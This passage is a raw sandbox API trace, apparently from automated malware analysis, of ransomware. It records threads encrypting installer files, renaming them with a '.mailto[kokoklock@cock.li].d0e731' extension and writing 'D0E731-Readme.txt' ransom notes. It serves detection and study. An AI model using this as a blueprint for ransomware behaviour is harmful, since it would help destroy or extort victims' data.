returned 1 [0070.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.710] WriteFile (in: hFile=0x784, lpBuffer=0x3422d98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xc6afc84, lpOverlapped=0x0 | out: lpBuffer=0x3422d98*, lpNumberOfBytesWritten=0xc6afc84*=0x8, lpOverlapped=0x0) returned 1 [0070.710] WriteFile (in: hFile=0x784, lpBuffer=0xc6afc9c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc6afc84, lpOverlapped=0x0 | out: lpBuffer=0xc6afc9c*, lpNumberOfBytesWritten=0xc6afc84*=0x4, lpOverlapped=0x0) returned 1 [0070.710] WriteFile (in: hFile=0x784, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc6afc84, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xc6afc84*=0x4, lpOverlapped=0x0) returned 1 [0070.710] WriteFile (in: hFile=0x784, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc6afc84, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xc6afc84*=0x6c, lpOverlapped=0x0) returned 1 [0070.710] WriteFile (in: hFile=0x784, lpBuffer=0x3422cd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc6afc84, lpOverlapped=0x0 | out: lpBuffer=0x3422cd0*, lpNumberOfBytesWritten=0xc6afc84*=0x20, lpOverlapped=0x0) returned 1 [0070.710] WriteFile (in: hFile=0x784, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc6afc84, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xc6afc84*=0x4, lpOverlapped=0x0) returned 1 [0070.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cd0) returned 1 [0070.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0070.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422d98) returned 1 [0070.710] CloseHandle (hObject=0x784) returned 1 [0070.713] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e69c0 [0070.713] wcscpy (in: _Dest=0x33e69c0, _Source="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" [0070.713] wcscat (in: _Dest=0x33e69c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0070.713] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.714] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0070.714] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e69c0) returned 1 [0070.714] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0070.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427270 [0070.714] wcscpy (in: _Dest=0x3427270, _Source="C:\\588bce7c90097ed212\\1033\\" | out: _Dest="C:\\588bce7c90097ed212\\1033\\") returned="C:\\588bce7c90097ed212\\1033\\" [0070.714] wcscat (in: _Dest=0x3427270, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1033\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1033\\D0E731-Readme.txt" [0070.715] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1033\\d0e731-readme.txt")) returned 0xffffffff [0070.715] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1033\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x784 [0070.716] WriteFile (in: hFile=0x784, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xc6afc80, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xc6afc80*=0x481, lpOverlapped=0x0) returned 1 [0070.717] CloseHandle (hObject=0x784) returned 1 [0070.717] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427270) returned 1 [0070.718] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427750) returned 1 [0070.718] RtlExitUserThread (Status=0x1) Thread: id = 246 os_tid = 0x1250 [0063.498] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80 [0066.376] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf", dwFileAttributes=0x20) returned 1 [0068.841] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0068.841] GetFileSizeEx (in: hFile=0x700, lpFileSize=0xc72fb14 | out: lpFileSize=0xc72fb14*=3526) returned 1 [0068.841] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0xdc2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.841] ReadFile (in: hFile=0x700, lpBuffer=0xc72fae8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc72fae4, lpOverlapped=0x0 | out: lpBuffer=0xc72fae8*, lpNumberOfBytesRead=0xc72fae4*=0x4, lpOverlapped=0x0) returned 1 [0068.843] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.843] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.843] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3424028 [0068.843] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e48 [0068.843] NtQuerySystemTime (in: CurrentTime=0xc72fac0 | out: CurrentTime=0xc72fac0*=132121176267285234) returned 0x0 [0068.843] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0xe4633fdb [0068.843] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0xd874ab23 [0068.843] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0xecd4be45 [0068.843] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0x89b3dad [0068.843] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0x8962adc9 [0068.843] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0xcda51b20 [0068.843] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0x8240278b [0068.843] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0x254f1381 [0068.843] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0xfe57f6c0 [0068.843] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0xe0b9d532 [0068.843] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0xf75ec2be [0068.843] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0xa88ecf0a [0068.843] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0x6c249192 [0068.843] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0x5a4bd730 [0068.844] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0x5480fe5b [0068.844] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0x5d74553d [0068.844] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0x9330f21b [0068.844] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0x9668fc48 [0068.844] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0x9ad4cc12 [0068.844] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0x550f456c [0068.844] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0xe704c300 [0068.844] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0x7e786d55 [0068.844] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0x4e2ab2d7 [0068.844] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0x2c226a9b [0068.844] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0x4fd90b82 [0068.844] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0x5a6b4c56 [0068.844] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0xb4c56df3 [0068.844] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0xfb45eb87 [0068.844] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0xd409dd67 [0068.844] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0x845147a7 [0068.844] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0x705d2f80 [0068.844] RtlRandom (in: Seed=0xc72facc | out: Seed=0xc72facc) returned 0xe453731a [0068.854] ReadFile (in: hFile=0x700, lpBuffer=0x3475830, nNumberOfBytesToRead=0xdc6, lpNumberOfBytesRead=0xc72fac0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xc72fac0*=0xdc6, lpOverlapped=0x0) returned 1 [0068.855] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xc72fa88 | out: lpNewFilePointer=0x0) returned 1 [0068.855] WriteFile (in: hFile=0x700, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0xdc6, lpNumberOfBytesWritten=0xc72fabc, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xc72fabc*=0xdc6, lpOverlapped=0x0) returned 1 [0068.855] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.855] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e98 [0068.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e98) returned 1 [0068.855] WriteFile (in: hFile=0x700, lpBuffer=0x3423e20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc72fab8, lpOverlapped=0x0 | out: lpBuffer=0x3423e20*, lpNumberOfBytesWritten=0xc72fab8*=0x20, lpOverlapped=0x0) returned 1 [0068.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e20) returned 1 [0068.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0068.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0068.855] WriteFile (in: hFile=0x700, lpBuffer=0x3423ec0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xc72fae4, lpOverlapped=0x0 | out: lpBuffer=0x3423ec0*, lpNumberOfBytesWritten=0xc72fae4*=0x8, lpOverlapped=0x0) returned 1 [0068.855] WriteFile (in: hFile=0x700, lpBuffer=0xc72fafc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc72fae4, lpOverlapped=0x0 | out: lpBuffer=0xc72fafc*, lpNumberOfBytesWritten=0xc72fae4*=0x4, lpOverlapped=0x0) returned 1 [0068.855] WriteFile (in: hFile=0x700, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc72fae4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xc72fae4*=0x4, lpOverlapped=0x0) returned 1 [0068.855] WriteFile (in: hFile=0x700, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc72fae4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xc72fae4*=0x6c, lpOverlapped=0x0) returned 1 [0068.856] WriteFile (in: hFile=0x700, lpBuffer=0x3424028*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc72fae4, lpOverlapped=0x0 | out: lpBuffer=0x3424028*, lpNumberOfBytesWritten=0xc72fae4*=0x20, lpOverlapped=0x0) returned 1 [0068.856] WriteFile (in: hFile=0x700, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc72fae4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xc72fae4*=0x4, lpOverlapped=0x0) returned 1 [0068.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424028) returned 1 [0068.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e70) returned 1 [0068.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423ec0) returned 1 [0068.856] CloseHandle (hObject=0x700) returned 1 [0070.686] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bca0 [0070.686] wcscpy (in: _Dest=0x347bca0, _Source="C:\\588bce7c90097ed212\\1036\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned="C:\\588bce7c90097ed212\\1036\\eula.rtf" [0070.686] wcscat (in: _Dest=0x347bca0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0070.686] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.692] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0070.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bca0) returned 1 [0070.692] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf", dwFileAttributes=0x80) returned 0 [0070.693] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427270 [0070.693] wcscpy (in: _Dest=0x3427270, _Source="C:\\588bce7c90097ed212\\1036\\" | out: _Dest="C:\\588bce7c90097ed212\\1036\\") returned="C:\\588bce7c90097ed212\\1036\\" [0070.693] wcscat (in: _Dest=0x3427270, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1036\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1036\\D0E731-Readme.txt" [0070.693] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1036\\d0e731-readme.txt")) returned 0x20 [0070.693] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427270) returned 1 [0070.693] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33facd8) returned 1 [0070.693] RtlExitUserThread (Status=0x1) Thread: id = 247 os_tid = 0x1254 [0063.498] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80 [0064.574] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0070.664] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x780 [0070.664] GetFileSizeEx (in: hFile=0x780, lpFileSize=0xc7afee0 | out: lpFileSize=0xc7afee0*=82962) returned 1 [0070.664] SetFilePointerEx (in: hFile=0x780, liDistanceToMove=0x1440e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.664] ReadFile (in: hFile=0x780, lpBuffer=0xc7afeb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc7afeb0, lpOverlapped=0x0 | out: lpBuffer=0xc7afeb4*, lpNumberOfBytesRead=0xc7afeb0*=0x4, lpOverlapped=0x0) returned 1 [0070.665] SetFilePointerEx (in: hFile=0x780, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.665] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0070.665] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0070.665] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422b68 [0070.665] NtQuerySystemTime (in: CurrentTime=0xc7afe8c | out: CurrentTime=0xc7afe8c*=132121176285566868) returned 0x0 [0070.665] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0xff681c0f [0070.665] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0x41527195 [0070.665] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0x7c0a1178 [0070.665] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0xf380e9b9 [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0x62a0baff [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0x90e71c95 [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0x7883985d [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0xf46b98d8 [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0x3b9be24b [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0x984b2327 [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0x28af1987 [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0x6a22fc05 [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0x3c11d402 [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0xae3b5dac [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0xd0e89cb [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0xabca394d [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0x359612d8 [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0xc3be230a [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0x259dd7af [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0x676f29d6 [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0x8f83214e [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0x9f744808 [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0x90abc8c3 [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0x189f2a4a [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0xff11c00b [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0x5ea875bf [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0xe1103fe3 [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0x58bbedd6 [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0xbca6022c [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0xbe87e01a [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0xbbc2d6e6 [0070.666] RtlRandom (in: Seed=0xc7afe98 | out: Seed=0xc7afe98) returned 0x7398d86 [0070.677] SetFilePointerEx (in: hFile=0x780, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.677] ReadFile (in: hFile=0x780, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xc7afe64, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xc7afe64*=0x4096, lpOverlapped=0x0) returned 1 [0070.678] SetFilePointerEx (in: hFile=0x780, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.678] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0070.678] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0070.678] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422d98 [0070.678] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422d98) returned 1 [0070.678] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e228 [0070.678] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0070.678] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0070.678] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0070.678] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0070.679] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0070.679] WriteFile (in: hFile=0x780, lpBuffer=0x348e228*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xc7afe64, lpOverlapped=0x0 | out: lpBuffer=0x348e228*, lpNumberOfBytesWritten=0xc7afe64*=0x4096, lpOverlapped=0x0) returned 1 [0070.679] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e228) returned 1 [0070.679] SetFilePointerEx (in: hFile=0x780, liDistanceToMove=0x14412, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.679] WriteFile (in: hFile=0x780, lpBuffer=0x3422fa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc7afe9c, lpOverlapped=0x0 | out: lpBuffer=0x3422fa0*, lpNumberOfBytesWritten=0xc7afe9c*=0x20, lpOverlapped=0x0) returned 1 [0070.679] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422fa0) returned 1 [0070.679] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.679] WriteFile (in: hFile=0x780, lpBuffer=0x3422e60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xc7afeb0, lpOverlapped=0x0 | out: lpBuffer=0x3422e60*, lpNumberOfBytesWritten=0xc7afeb0*=0x8, lpOverlapped=0x0) returned 1 [0070.679] WriteFile (in: hFile=0x780, lpBuffer=0xc7afec8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc7afeb0, lpOverlapped=0x0 | out: lpBuffer=0xc7afec8*, lpNumberOfBytesWritten=0xc7afeb0*=0x4, lpOverlapped=0x0) returned 1 [0070.679] WriteFile (in: hFile=0x780, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc7afeb0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xc7afeb0*=0x4, lpOverlapped=0x0) returned 1 [0070.679] WriteFile (in: hFile=0x780, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc7afeb0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xc7afeb0*=0x6c, lpOverlapped=0x0) returned 1 [0070.679] WriteFile (in: hFile=0x780, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc7afeb0, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0xc7afeb0*=0x20, lpOverlapped=0x0) returned 1 [0070.679] WriteFile (in: hFile=0x780, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc7afeb0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xc7afeb0*=0x4, lpOverlapped=0x0) returned 1 [0070.679] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0070.680] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cd0) returned 1 [0070.680] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0070.680] CloseHandle (hObject=0x780) returned 1 [0070.683] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6330 [0070.683] wcscpy (in: _Dest=0x33e6330, _Source="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" [0070.683] wcscat (in: _Dest=0x33e6330, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0070.683] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.683] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0070.683] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6330) returned 1 [0070.684] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0070.684] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x34272d8 [0070.684] wcscpy (in: _Dest=0x34272d8, _Source="C:\\588bce7c90097ed212\\1036\\" | out: _Dest="C:\\588bce7c90097ed212\\1036\\") returned="C:\\588bce7c90097ed212\\1036\\" [0070.684] wcscat (in: _Dest=0x34272d8, 